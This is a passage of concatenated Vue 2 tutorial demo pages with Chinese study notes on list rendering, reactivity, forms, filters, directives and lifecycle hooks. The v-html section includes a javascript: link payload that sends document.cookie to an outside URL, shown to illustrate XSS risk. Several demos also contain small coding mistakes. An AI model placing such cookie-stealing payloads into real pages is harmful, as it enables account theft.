<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
v-for指令:
1、用于展示列表数据
2、语法:v-for="(item, index) in xxx" :key="yyy"
3、可遍历:数组、对象、字符串(用的少)、指定次数(用的少)
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) in persons" ::key="index">{{p.name}}-{{p.age}}</li>
</ul>
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value, index) in car" :key="index">{{index}}-{{value}}</li>
</ul>
<h2>测试遍历字符串(用的少)</h2>
<ul>
<li v-for="(char,index) in str" ::key="index">{{index}}-{{char}}</li>
</ul>
<h2>测试遍历指定次数(用的少)</h2>
<ul>
<li v-for="(number,index) in 5" ::key="index">{{index}}-{{number}}</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "xinze",
persons: [
{ id: "001", name: "yb", age: "19" },
{ id: "002", name: "yf", age: "19" },
{ id: "003", name: "yg", age: "19" },
],
car: {
name: "保时捷",
color: "红色",
money: "900万",
},
str: "Holle",
},
});
</script>
</body>
</html>
key的原理
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>key的原理</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
面试题:react、vue中的key有什么作用?(key的内部原理)
1、虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】 与 【旧虚拟DOM】 的差异比较,比较规程如下:
2、对比规则:
(1)、旧虚拟DOM中找到了与新虚拟DOM相同的key:
①、若虚拟DOM中内容没变,直接使用之前的真实DOM!
②、若虚拟DOM中内容变了,侧生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2)、旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到页面。
3、用index作为key可能会引发的问题:
1、若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题,但效率低。
2、如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题
4、开发中如何选择key?:
1、最好使用每天数据的唯一标识作为key,比如 id、手机号、身份证号、学号等唯一值。
2、如果不存在对数据的逆序添加,或删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
总结:如果逆序添加或者删除 一定要用唯一标识 id 如果用index 你对第一条数据(key===0)进行修改过后 随后在第一条数据前方添加一条新数据
那么那条新数据就变成了第一条数据 就会保留 原本第一条数据修改后的操作 因为他是继承了 key === 0 的操作
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>人员列表(遍历数组)</h2>
<button @click="add">点我在前方加入一组数据</button>
<ul>
<li v-for="(p,index) in persons" ::key="index">
{{p.name}}-{{p.age}} <input type="text" />
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "xinze",
persons: [
{ id: "001", name: "yb", age: "19" },
{ id: "002", name: "yf", age: "19" },
{ id: "003", name: "yg", age: "19" },
],
},
methods: {
add() {
const p = { id: "004", name: "sj", age: "19" };
this.persons.unshift(p); //unshift() 该方式作用是 在数组最前方加入一组数据
// this.persons.push(p); //push() 该方式作用是 在数组最后方加入一组数据
},
},
});
</script>
</body>
</html>
列表过滤
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>列表过滤</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord" />
<ul>
<li v-for="(p,index) in filPersons" ::key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//用watch实现
/* new Vue({
el: "#root",
data: {
name: "xinze",
keyWord: "",
persons: [
{ id: "001", name: "马冬梅", age: "19", sex: "女" },
{ id: "002", name: "周冬雨", age: "20", sex: "女" },
{ id: "003", name: "周杰伦", age: "21", sex: "男" },
{ id: "003", name: "温兆伦", age: "22", sex: "男" },
],
filPersons: [],
},
watch: {
keyWord: {
immediate: true, //初始化执行
handler(value) {
this.filPersons = this.persons.filter((p) => {
return p.name.indexOf(value) != -1;
});
},
},
},
}); */
//用computed实现
new Vue({
el: "#root",
data: {
name: "xinze",
keyWord: "",
persons: [
{ id: "001", name: "马冬梅", age: "19", sex: "女" },
{ id: "002", name: "周冬雨", age: "20", sex: "女" },
{ id: "003", name: "周杰伦", age: "21", sex: "男" },
{ id: "003", name: "温兆伦", age: "22", sex: "男" },
],
},
computed: {
filPersons() {
return this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) != -1;
});
},
},
});
</script>
</body>
</html>
列表排序
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>列表排序</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord" />
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) in filPersons" ::key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//用computed实现
new Vue({
el: "#root",
data: {
name: "xinze",
keyWord: "",
sortType: 0, //0原顺序 1降序 2升序
persons: [
{ id: "001", name: "马冬梅", age: "30", sex: "女" },
{ id: "002", name: "周冬雨", age: "31", sex: "女" },
{ id: "003", name: "周杰伦", age: "19", sex: "男" },
{ id: "003", name: "温兆伦", age: "20", sex: "男" },
],
},
computed: {
filPersons() {
const arr = this.persons.filter((p) => {
//filter()用于对数组进行过滤。 p为当前对象
return p.name.indexOf(this.keyWord) != -1;
});
//这里判断数字 为0的话是false 其他数值皆为true 就是说 为 1 2能进来 0 进不来
if (this.sortType) {
//sort() 方法对数组的项目进行排序。
arr.sort((p1, p2) => {
//p1 - p2 为升序 p2 - p1 为降序
return this.sortType == 1 ? p2.age - p1.age : p1.age - p2.age;
});
}
return arr;
},
},
});
</script>
</body>
</html>
更新时的一个问题
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>更新时的一个问题</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>人员列表</h2>
<button @click="updateMei">点我修改马冬梅信息</button>
<ul>
<li v-for="(p,index) in persons" ::key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//用computed实现
new Vue({
el: "#root",
data: {
name: "xinze",
persons: [
{ id: "001", name: "马冬梅", age: "30", sex: "女" },
{ id: "002", name: "周冬雨", age: "31", sex: "女" },
{ id: "003", name: "周杰伦", age: "19", sex: "男" },
{ id: "003", name: "温兆伦", age: "20", sex: "男" },
],
},
methods: {
updateMei() {
//this.persons[0].name = "马老师"; //奏效
//this.persons[0].age = "50"; //奏效
//this.persons[0].sex = "男"; //奏效
//不奏效 数据其实被改变了 只是没有被Vue检测到 具体过程看下一节
//看完回来了 因为Vue没有为数组提供get和set所以就算修改了值页面也不会响应 、
//而上面写的奏效是因为他是数组里面的对象 对象里提供了get和set
/* this.persons[o] = {
id: "001",
name: "马老师",
age: "50",
sex: "男",
}; */
//Vue对数组里的一些方法进行了封装 并设置了响应式
//splice(替换元素的序号,替换长度(1个元素是1,2个是2..),'替换的内容')
/* this.persons.splice(0, 1, {
id: "001",
name: "马老师",
age: "50",
sex: "男",
}); */
//还可以用Vue自身的两种set写法设置该数组
Vue.set(
this.persons.splice(0, 1, {
id: "001",
name: "马老师",
age: "50",
sex: "男",
})
);
},
},
});
</script>
</body>
</html>
Vue检测数据改变的原理_对象
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Vue检测数据改变的原理</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>{{name}}</h2>
<h2>{{address}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//用computed实现
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
address: "北京",
student: {
name: "tom",
age: {
rAge: 40,
sAge: 29,
},
friends: [{ name: "jerry", age: 35 }],
},
},
});
</script>
</body>
</html>
模拟一个简单的数据监测
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>模拟一个简单的数据监测</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<script type="text/javascript">
let data = {
name: "xinze",
address: "北京",
};
// 创建一个监视的实例对象,用于监视data中属性的变化
const obs = new Obsereve(data);
console.log(obs);
//准备一个vm实例对象
let vm = {};
vm._data = data = obs;
function Obsereve(obj) {
//汇总对象中所有属性成一个数组
const keys = Object.keys(obj);
//遍历
keys.forEach((k) => {
Object.defineProperty(this, k, {
get() {
return obj[k];
},
set(value) {
console.log(
`${k}被改了,我要去解析模板了,生成虚拟DOM.....我要开始忙了`
);
obj[k] = value;
},
});
});
}
</script>
</body>
</html>
Vue.set的使用
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>8.Vue.set的使用</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>姓名:{{name}}</h2>
<h2>地址:{{address}}</h2>
<hr />
<button @click="addSex">点我添加一个性别属性,默认值是男</button>
<h2>学生姓名:{{student.name}}</h2>
<h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
<h2>学生年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
<h2>朋友们</h2>
<ul>
<li v-for="(f, index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//用computed实现
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
address: "北京",
student: {
name: "tom",
age: {
rAge: 40,
sAge: 29,
},
friends: [
{ name: "jerry", age: 35 },
{ name: "tony", age: 36 },
],
},
},
methods: {
addSex() {
//这两种方法仅可以在 data里 属性上添加字属性, 不能给data添加属性
// Vue.set(this.student, "sex", "男");
this.$set(this.student, "sex", "男");
},
},
});
</script>
</body>
</html>
Vue检测数据改变的原理_数组
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>9.Vue检测数据改变的原理_数组</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>姓名:{{name}}</h2>
<h2>地址:{{address}}</h2>
<hr />
<button @click="addSex">点我添加一个性别属性,默认值是男</button>
<h2>学生姓名:{{student.name}}</h2>
<h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
<h2>学生年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
<h2>爱好</h2>
<ul>
<li v-for="(h, index) in student.hobby" :key="index">{{h}}</li>
</ul>
<h2>朋友们</h2>
<ul>
<li v-for="(f, index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//用computed实现
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
address: "北京",
student: {
name: "tom",
age: {
rAge: 40,
sAge: 29,
},
hobby: ["抽烟", "喝酒", "烫头"],
friends: [
{ name: "jerry", age: 35 },
{ name: "tony", age: 36 },
],
},
},
methods: {
addSex() {
//这两种方法仅可以在 data里 属性上添加字属性, 不能给data添加属性
// Vue.set(this.student, "sex", "男");
this.$set(this.student, "sex", "男");
},
},
});
</script>
</body>
</html>
总结Vue数据监测
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>10.总结Vue数据监测</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
Vue监视数据的原理:
1、Vue会监视data中所有层次的数据。
2、如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要检测的数据
(1)、对象中后追加的属性,Vue默认不做响应式处理
(2)、如需给后添加的属性做响应式,请使用如下API:
target 要添加的Vue对象 propertyName要添加的属性名 index下标(没有可以不写) value 添加的值
Vue.set(target, propertyName/index,value)或
vm.$set(target, propertyName/index,value)
3、如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1)、调用原生对应的方法对数组进行更新。
(2)、重新解析模板,进而更新页面。
4、在Vue修改数组中的某个元素一定要用如下方法:
1、使用这些API:
push() 在该数组末尾新增
pop() 删除该数组末尾元素
shift() 删除该数组第一个元素
unshift() 在该数组开头添加
splice() 替换掉数组中指定位置的元素 splice(替换元素的序号,替换长度(1个元素是1,2个是2..),'替换的内容')
sort() 数组进行排序
reverse() 反转数组
2、Vue.set() 或 vm.$set()
注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data) 添加属性
-->
<!-- 准备好一个容器 -->
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button><br />
<button @click="addSex">添加性别属性,默认值:男</button><br />
<button @click="student.sex = '未知'">修改性别</button><br />
<button @click="addFirend">在列表首位添加一个朋友</button><br />
<button @click="updateFirend">修改第一个朋友的名字为:张三</button><br />
<button @click="addHobby">添加一个爱好</button><br />
<button @click="updateHobby">修改第一爱好为:开车</button><br />
<button @click="removeHobby('抽烟')">过滤掉爱好中的抽烟</button><br />
<h2>学生姓名:{{student.name}}</h2>
<h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
<h2>学生年龄:{{student.age}}</h2>
<h2>爱好</h2>
<ul>
<li v-for="(h, index) in student.hobby" :key="index">{{h}}</li>
</ul>
<h2>朋友们</h2>
<ul>
<li v-for="(f, index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
//用computed实现
const vm = new Vue({
el: "#root",
data: {
student: {
name: "tom",
age: 18,
hobby: ["抽烟", "喝酒", "烫头"],
friends: [
{ name: "jerry", age: 35 },
{ name: "tony", age: 36 },
],
},
},
methods: {
addSex() {
this.$set(this.student, "sex", "男");
},
addFirend() {
//unshift() 在该数组首位添加一个对象
this.student.friends.unshift({ name: "jack", age: 18 });
},
updateFirend() {
//这里可以直接赋值 因为数字下标为0的 位置是个对象 (对象里的属性包含get set)
this.student.friends[0].name = "xinze";
},
addHobby() {
//push() 在该数组末尾添加
this.student.hobby.push("听歌");
},
updateHobby() {
//splice(替换元素的序号,替换长度(1个元素是1,2个是2..),'替换的内容')
this.student.hobby.splice(0, 1, "开车");
//Vue.set(this.student.hobby, 0, "开车");
//this.$set(this.student.hobby, 0, "开车");
},
removeHobby(val) {
//filter(x) 过滤数组并返回一个新的数组 x为当前数组中遍历的值
this.student.hobby = this.student.hobby.filter((h) => {
return h != val;
});
},
},
});
</script>
</body>
</html>
收集表单数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="../js//vue.js"></script>
<title>收集表单数据</title>
</head>
<body>
<!--
手机表单数据:
若:<input type="text"/>,则 v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则 v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>,
1、没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2、配置input的value属性:
(1)、v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的就是value组成的数组
备注:v-model的三个修饰符:
lazy:失去焦点在收集数据
number:输入字符串转为有效的 数字
trim:输入首尾空格过滤
-->
<div id="root">
<!-- //添加一个 提价事件 去除默认事件 -->
<form @submit.prevent="demo">
<!-- v-model.trim 手机信息时候去除前后空格 -->
账号:<input type="text" v-model.trim="user.username" /><br /><br />
密码:<input type="password" v-model="user.password" /><br /><br />
<!-- v-model.number把获取到的值转为数字 -->
年龄:<input type="number" v-model.number="user.password" /><br /><br />
性别 : 男
<input type="radio" name="sex" value="男" v-model="user.sex" />
女
<input type="radio" name="sex" value="女" v-model="user.sex" />
<br /><br />
爱好: 学习
<input type="checkbox" value="study" v-model="user.hobby" />
打游戏
<input type="checkbox" value="game" v-model="user.hobby" />
吃饭
<input type="checkbox" value="eat" v-model="user.hobby" />
<br /><br />
所属校区
<select v-model="user.city">
<option value="0">-请选择-</option>
<option value="beijing">-北京-</option>
<option value="shanghai">-上海-</option>
<option value="shenzhen">-深圳-</option></select
><br /><br />
其他信息
<!-- v-model.lazy 失去焦点在收集信息 -->
<textarea v-model.lazy="user.other"></textarea><br /><br />
<input type="checkbox" v-model="user.agree" />
阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
user: {
username: "",
password: "",
age: 0,
sex: "",
hobby: [],
city: "",
other: "",
agree: "",
},
},
methods: {
demo() {
console.log(JSON.stringify(this.user));
},
},
});
</script>
</html>
过滤器
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="../js//vue.js"></script>
<script src="../js//dayjs.min.js"></script>
<title>过滤器</title>
</head>
<body>
<!--
过滤器:
定义:对咬现实的数据进行特定格式化后在显示(适用于一些简单逻辑的处理)。
语法:
1、注册过滤器:Vue.filter(name,funcation) 或 new Vue{filters:{}}
2、使用过滤器:{{xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
1、过滤器也可以接收额外参数、多个过滤器也可以串联
2、并没有改变原本的数据,是产生新的对应的数据
-->
<div id="root">
<h2>显示格式化后的时间</h2>
<h3>现在是:{{time}}</h3>
<!-- 计算属性实现 -->
<h3>计算属性实现:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>methods实现:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>过滤器实现 :{{time | timeFormater}}</h3>
<!-- v-bind:过滤器实现 -->
<h3 :x="name | mySlice">v-bind:过滤器实现 :</h3>
<!-- 过滤器传参实现 -->
<h3>过滤器传参实现: {{time | timeFormater('YYYY-MM-DD')}}</h3>
<!-- 多个过滤器实现 最后一个过滤器接收的是 前一个过滤器返回的值-->
<h3>多个过滤器实现: {{time | timeFormater | mySlice}}</h3>
</div>
<div id="root2">
<!-- 过滤器实现 -->
<h3>外部:{{time | mySlice}}</h3>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
// 设置全局过滤器
Vue.filter("mySlice", function (value) {
return value.slice(0, 4);
});
new Vue({
el: "#root",
data: {
name: "xinze",
time: 1621561377603, //时间戳
},
computed: {
fmtTime() {
return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
},
},
methods: {
getFmtTime() {
return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
},
},
//设计局部过滤器 只能在当前Vue实例身上使用
filters: {
/*timeFormater() {
return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
}, */
//timeFormater(v) 默认是有值的就是谁调用了这个过滤器 那个调用的就是值
//你也可以另外传值 在第二个参数位置上 str = xxx str为空的时候 使用你自己的赋值 xxx 不为空 就用传过来的值
timeFormater(value, str = "YYYY-MM-DD HH:mm:ss") {
return dayjs(value).format(str);
},
},
});
new Vue({
el: "#root2",
data: {
time: "你好,xinze",
},
});
</script>
</html>
内部指令
v-text_指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>v-text_指令</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
我们学过的指令:
v-bind: 单项绑定解析表达式,可以简写为 :xxx
v-model:双向数据绑定
v-for: 遍历数组/对象/字符串
v-on: 绑定事件监听,可简写为 @
v-if: 条件渲染(动态控制节点是否存在)
v-else: 条件渲染(动态控制节点是否存在)
v-show: 条件渲染(动态控制节点是否展示)
v-text:指令:
1、作用:向其所在的节点中渲染文本内容。
2、与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}不会
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<div>你好,{{name}}</div>
<div>{{str}}</div>
<div v-text="name">你好,</div>
<div v-text="str"></div>
</div>
<script>
//创建 vm 实例对象
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
str: "<h2>你好</h2>",
},
});
</script>
</body>
</html>
v-html_指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>v-html_指令</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
v-html指令:
1、作用:向指定节点中渲染包含html结构的内容
2、与插值语法的区别:
(1)、v-html会替换掉节点中所有的内容,{{xxx}}插值语法不会
(2)、v-html可以识别html结构。
3、严重注意:v-html又安全性问题!!!
(1)、在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(跨站脚本攻击)。
(2)、一定要在可信的内容上使用v-html,用不要用在用户提交的内容上!
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<div v-text="str"></div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script>
//创建 vm 实例对象
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
str: "<h2>你好</h2>",
//document.cookie 发送当前网站的所有 cookie cookie你可以简单理解为 你当前页面的用户信息 别人拿到了 就能登你号
str2: "<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>兄弟我找到你想要的资源了。</a>",
},
});
</script>
</body>
</html>
v-cloak指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>v-cloak指令</title>
<!-- 导入 vue 文件 -->
<style>
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<!--
v-cloak指令 (没有值)
1、本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2、使用css配合v-cloak可以解决网速慢是页面展示出{{xxxx}}的问题
备注:简单来说 你网速慢的时候 会先加载DOM元素 然后在加载 vue.js路径 这样的话 vue实例的{{xxx}}就会被显示出来
而v-cloak指令实在 没有加载vue.js的时候 存在 Vue.js被加载就会消失 这时候就可以配置css属性选择样式 来隐藏配置了
v-cloak指令的元素 实现动态显示隐藏
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
</body>
<script src="../js//vue.js"></script>
<script>
//创建 vm 实例对象
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
},
});
</script>
</html>
v-once_指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>v-once_指令</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
v-once指令:
1、v-once所在节点在初次动态渲染后,就视为静态内容了。(就是不会被修改)
2、以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<h1 v-once>初始值:{{num}}</h1>
<h1>当前值:{{num}}</h1>
<button @click="num++">点我+1</button>
</div>
<script>
//创建 vm 实例对象
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
num: 1,
},
});
</script>
</body>
</html>
v-pre_指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>v-pre_指令</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
v-pre指令:
1、跳过其所在节点的编译过程。
2、可利用它跳过:没有使用Vue语法的DOM元素(指令语法、插值语法)用来加快编译
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h1 v-pre>当前值:{{num}}</h1>
<h1>当前值:{{num}}</h1>
<button @click="num++">点我+1</button>
</div>
</body>
<script>
//创建 vm 实例对象
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
num: 1,
},
});
</script>
</html>
自定义指令
回顾一个DOM操作
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>回顾一个DOM操作</title>
<script src="../js//vue.js"></script>
</head>
<style>
.dome {
background-color: orange;
}
</style>
<body>
<button id="bth">点我创建一个输入框</button>
<script>
const bth = document.getElementById("bth");
bth.onclick = () => {
const input = document.createElement("input");
input.className = "demo";
input.value = 99;
input.onclick = () => {
alert(1);
};
document.body.appendChild(input);
input.focus();
};
</script>
</body>
</html>
自定义指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>自定义指令</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
需求2:定义一个v-fbind指令,和v-bind功能类似。但可以让其所绑定的input元素默认获取焦点
自定义指令总结:
1、定义语法:
(1)、局部指令:
new VUe({ new Vue({
directives:{指令名 : 配置对象} 或 directives(指令名:回调函数)
}) })
(2)、全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
2、配置对象中常用的三个回调:
(1)、bind:指令与元素成功绑定时调用
(2)、inserted:指令所在元素被插入页面时调用
(3)、update:指令所在模板结构被重新解析时调用
3、备注:
(1)、指令定义时不加 v- ,但使用时要加 v-;
(2)、指令名如果时多个单词,要使用 xxx-xxx 命名方式,不要用 xxxYyy 命名
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<h2>当前的n值是:<span v-text="num"></span></h2>
<h2>放大10倍后的n值是:<span v-big="num"></span></h2>
<!-- 自定义指令命名:多个单词 用-号分割-->
<h2>放大10倍后的n值是:<span v-big-number="num"></span></h2>
<button @click="num++">点我+1</button>
<hr />
<input type="text" v-fbind:value="num" />
</div>
<div id="root2">
<input type="text" v-fbind:value="num" />
</div>
</body>
<script>
//创建全局自定义指令
Vue.directive("fbind", {
//指令与元素成功绑定时(一上来) 调用bind()
bind(element, binding) {
element.value = binding.value;
},
//当元素插入DOM模块后 调用inserted()
inserted(element, binding) {
element.focus();
},
//指令所在的模板被重新解析时。调用update()
update(element, binding) {
element.value = binding.value;
},
});
//创建 vm 实例对象
const vm = new Vue({
el: "#root",
data: {
num: 1,
},
//自定义指令对象 这里的值时局部指定 要想全局 要写在外边
directives: {
//创建自定义指令值 xxx v-xxx
//big函数何时会被调用?1、指令与元素成功绑定时(一上来)。2、指令所在的模板被重新解析时。
big(element, binding) {
//console.log(this); //注意 :此处的this是window!!!
//element= 使用当前指令的元素 binding = 元素身上绑定的值
element.innerText = binding.value * 10; //当前元素绑定的值 * 10
element.style = "color:red"; //设置当前元素样式
},
//这里命名 有-号 要用原生写法加 ""
"big-number"(element, binding) {
element.innerText = binding.value * 10;
element.style = "color:red";
},
/* fbind(element, binding) {
element.value = binding.value;
//获取焦点不奏效 因为元素还没被更新到DOM中你就设置属性 这时候就要用到下方的方法
element.focus();
}, */
},
});
new Vue({
el: "#root2",
data: {
num: 1,
},
});
</script>
</html>
生命周期
图示
引出生命周期
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>引出生命周期</title>
<!-- 导入 vue 文件 -->
<script src="../js//vue.js"></script>
</head>
<body>
<!--
生命周期:
1、又名:生命周期回调函数、生命周期函数、生命周期钩子
2、是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
3、生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
4、生命周期函数中的this指向是vm 或 组件实例对象
-->
<!-- 被 vm 实例所控制的区域 -->
<div id="root">
<!-- {xxx} 是吧整个对象放进去了 key 和 value-->
<h2 :style="{opacity}">{{name}}</h2>
<h2 v-if="a">{{name}}</h2>
<button @click="a=true">点我显示另外一个</button>
</div>
</body>
<script>
//创建 vm 实例对象
//const vm = new Vue({
new Vue({
el: "#root",
data: {
name: "xinze",
opacity: 1,
a: false,
},
//Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕) 调用mounted
mounted() {
//Vue初始化执行完毕后 自动调用 每次刷新页面自动调用
alert(1);
setInterval(() => {
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 16);
},
});
//通过外部的定时器实现(不推荐)
/* setInterval(() => {
vm.opacity -= 0.01;
if (vm.opacity <= 0) vm.opacity = 1;
}, 16); */
</script>
</html>
分析生命周期
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
